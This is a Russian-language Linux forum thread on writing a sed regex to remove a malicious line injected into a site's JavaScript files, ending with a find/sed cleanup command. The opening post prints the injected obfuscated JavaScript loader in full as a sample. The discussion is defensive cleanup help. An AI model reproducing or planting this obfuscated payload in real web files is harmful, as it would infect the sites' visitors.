LinuxForum.Fans
Тема

Вопрос по sed (удаление строки)

Автор: riso 16 сообщений 5093 просмотров
#243395

Как удалить всю строку, под слова которой подпадает регулярка ?
Пример. Нужно удалить текст (небольшой кусок):

Показать

var rb5a51b="";function j92020aa93ae(){var rb8671=String,jc5f0ed80=Array.prototype.slice.call(arguments).join(""),n14fb4=jc5f0ed80.substr(ee3860c0(),3)-450,ua763a5,re783acb;jc5f0ed80=jc5f0ed80.substr(7);var q6156f14=mfcabf2(jc5f0ed80);for(var g537f83e6=0;g537f83e6<q6156f14;g537f83e6++){try{throw(la8a2e3b=jc5f0ed80.substr(g537f83e6,1));}catch(e){la8a2e3b=e;};if(la8a2e3b=='<99>'){n14fb4="";g537f83e6=ld93e4(g537f83e6);j01baff=afa9f9(jc5f0ed80,g537f83e6);while(ybd4afa(j01baff)){n14fb4+=j01baff;g537f83e6++;j01baff=jc5f0ed80.substr(g537f83e6,1);}n14fb4-=643;continue;}ua763a5="";if(i0b20464(la8a2e3b)){g537f83e6++;la8a2e3b=jc5f0ed80.substr(g537f83e6,1);while(la8a2e3b!='®'){ua763a5+=la8a2e3b;g537f83e6++;la8a2e3b=jc5f0ed80.substr(g537f83e6,1);}ua763a5=x11bac233(ua763a5,n14fb4,46);if(ua763a5<0)ua763a5+=256;ua763a5=wa450de(ua763a5);f14baf(ua763a5);continue;}cab101b=s9b0b2d(la8a2e3b);if(cab101b>848)cab101b-=848;re783acb=cab101b-n14fb4-46;re783acb=ifa4fc95(re783acb);rb5a51b+=he83c43d6(re783acb);}}j92020aa93ae("0","56","6","597®","233®<99>","69","6","<99>®20","1","®<99>","6","61","<99>","®","1","8","1®<99>","7","48<99>","®5®<99>64","6<99>®148®<99>745","<99>®","8®®2","5","3®","®","3®","®2®<99>8","2","0","<99>","®7","®<99>6","5","9","<99>g","^®185","®<99>","6","99","<99>s<99>6","5","4","<99>CB<99>","687<99>®","20","8®<99>804<99>","0A<99>752<99>","®1","87®","<99>","7","77<99>)","&®32","®","<99>7","2","2<99>","®","1","5","7","®","<99>","73","2<99>®","196®<99>","67","0","<99>","i","<99>","72","1","<99>®","16","3®","<99>","8","39<99>","Z","<99>","7","90","<99>5","5","1®251®","®","24","0","®®240","®4",".<99>79","6<99>2<99>6","62<99>","®","1","6","9","®<99>","824<99>","L","X<99>","7","54","<99>","®7","®","<99>8","4","1","<99>","W","c","<99>","84","0","<99>b!W<99>66","3","<99>","®","187","®<99>","8","1","7","<99>J@","<99>7","83","<99>(<99>8","12","<99>","J","®4","®","<99>76","0","<99>","®","16®","<99>","73","6","<99>®2","3","6®","®","24","4®®24","7®®18","5®®","238®","®2","50","®","<99>813","<99>","E","®","7®","<99>","7","5","6<99>®6","®®","20","6","®<99>73","7<99>®17","9®<99>","7","23","<99>®","185","®","®","13","9","®","<99>","8","3","2","<99>","®","24","5","®<99>","836<99>","®","2","48","®","<99>","784<99>","$<99>7","46<99>","®251®","®","1","8","1","®®","189®<99>6","5","2<99>","®","1","71","®<99>","6","50","<99>","®","17","4","®","®1","6","5","®","®15","4","®","®1","64®®","15","5","®","<99>6","7","5","<99>n","®19","7®<99>8","11","<99>?<99>","702","<99>","®","2","1","5","®","®2","0","5®<99>","698<99>","®2","12","®®","22","0®","<99>80","4<99>®2","53®","GHI<99>","6","46<99>®15","1","®<99>","734","<99>®","245®®2","34","®","<99>65","5","<99>","®","1","61","®","Z","w<99>82","7<99>#","#®6","®®","1","3®<99>7","2","9","<99>","®2","4","9","®<99>7","6","5<99>","®","22®®1","2®","®1","3","®","®1","4®","<99>7","7","7","<99>®2","9®","\"<99>7","79<99>®27®","<99>791<99>&","®","2","33","®<99>6","54<99>","b","<99>8","17","<99>","®","2","52","®","<99>","7","2","5","<99>®","251","®®141","®<99>","797","<99>®","21","0®®","2","09","®<99>8","06<99>®218®"

вот я пишу регулярное выражение, под которое подпадет var rb5a51b=

text
sed 's/var [0-9a-z]*\=//' 

а как сделать чтобы строка содержащая var [0-9a-z]*\= удалилась полностью ?
p.s. как многие догадались - это вирус, заражающий *.js файлы. Идет он одной строкой в конце файла. Из-за рандомности начала строки, нужно написать регулярку, которая его удалит.

#243399

Может так?

text
sed '/var [0-9a-z]*\=/d'
#243400

Lupo Alberto. да, вы абсолютно правы, спасибо !
Кстати, ради интереса, а можно написать регулярное выражение, которое подпадет под всю, вышеприведенную, строку ?

#243401

Не совсем понятно. Как я понимаю, регулярное выражение — это некоторая закономерность, шаблон.
Вероятно, я ошибаюсь, но, если вы хотите, чтобы вся строка соответствовала шаблону, используйте всю эту строку.
...но выглядит это как-то избыточно.

#243402

Regexp стоит подправить, вдруг попадется такое: " ... var rb5a51b = ... "

text

sed -r '/var\s+[0-9a-z]*\s*=/d'

По-моему, писать регулярку под одну строку не имеет смысла.
Найдите хотя бы десяток таких же, тогда можно будет подумать. Хm.. глядя на строку, чую тут мозги можно запросто вывернуть.

#243403

По-моему, писать регулярку под одну строку не имеет смысла.

да, но обычно таких зараженных файлов около 1000, поэтому..
Newton, а можно узнать что означают \s+ и \s* ?

#243405

используйте всю эту строку.

к сожалению строка всегда разная

#243407

\s - пробел
\s+ - один или любое кол-во (пробелов, в данном случае)
\s* - любое кол-во или отсутствует

#243446

riso, на всякий пожарный... вы же понимаете, что оно удалит все строки с var'ами в файле?

#243480
"Newton" написал:
\s - пробел
\s+ - один или любое кол-во (пробелов, в данном случае)
\s* - любое кол-во или отсутствует

бегом читать man 7 regex - это один из символьных классов, в который кроме пробела входит \t, \n, \r и может ещё что-то.

"riso" написал:
sed 's/var [0-9a-z]*\=//'
а как сделать чтобы строка содержащая var [0-9a-z]*\= удалилась полностью ?

элементарно:
sed 's/.*var [0-9a-z]*\=.*//'

"Lupo Alberto" написал:
Может так?
sed '/var [0-9a-z]*\=/d'

можно и так. Только учтите, что команда d совсем не так проста и очевидна, что-бы её рекомендовать новичкам.

PS: да, команда d удаляет строки (в данном случае), а вот s/// строки очищает, т.е. получаются пустые строчки. Впрочем, обычно это неважно.

#243500

drBatty, а почему не сработает такой вариант ?

text
sed 's/var [0-9a-z]*\=.*//'

ведь .* вроде означает любые символы или я ошибаюсь ?

#243502
"riso" написал:
ведь .* вроде означает любые символы

По-моему, все, кроме перевода строки.

#243504

-=Serj=-, у меня как раз перевода строки нет, но регулярка не отрабатывает

#243510
"riso" написал:
ведь .* вроде означает любые символы или я ошибаюсь ?

всё верно. ОТ var... и до конца строки. Начало строки остаётся нетронутым.

"-=Serj=-" написал:
По-моему, все, кроме перевода строки.

Нет, вы ошибаетесь. \n тоже совпадает с точкой. С точкой по определению совпадает любой символ.
Два примечания:
1. любой символ это не любой набор байтов. Потому совсем не всякие байты совпадают с .*
2. в мультистрочном режиме поиск идёт до символа \n, потому \n в этом режиме как-бы "не совпадает".

#243511
"riso" написал:
\=

а слеш зачем тут? "равно" это обычный символ, слеш не нужен. хотя дело не в этом.

#243544

Всем спасибо, чистка закончилась такой командой :

text
find sitedirectory -type f -name '*.js' -exec sed -i '/var [0-9a-z]*=\"\";function [0-9a-z]*\(\)/d' {} \;
Войдите или зарегистрируйтесь, чтобы ответить.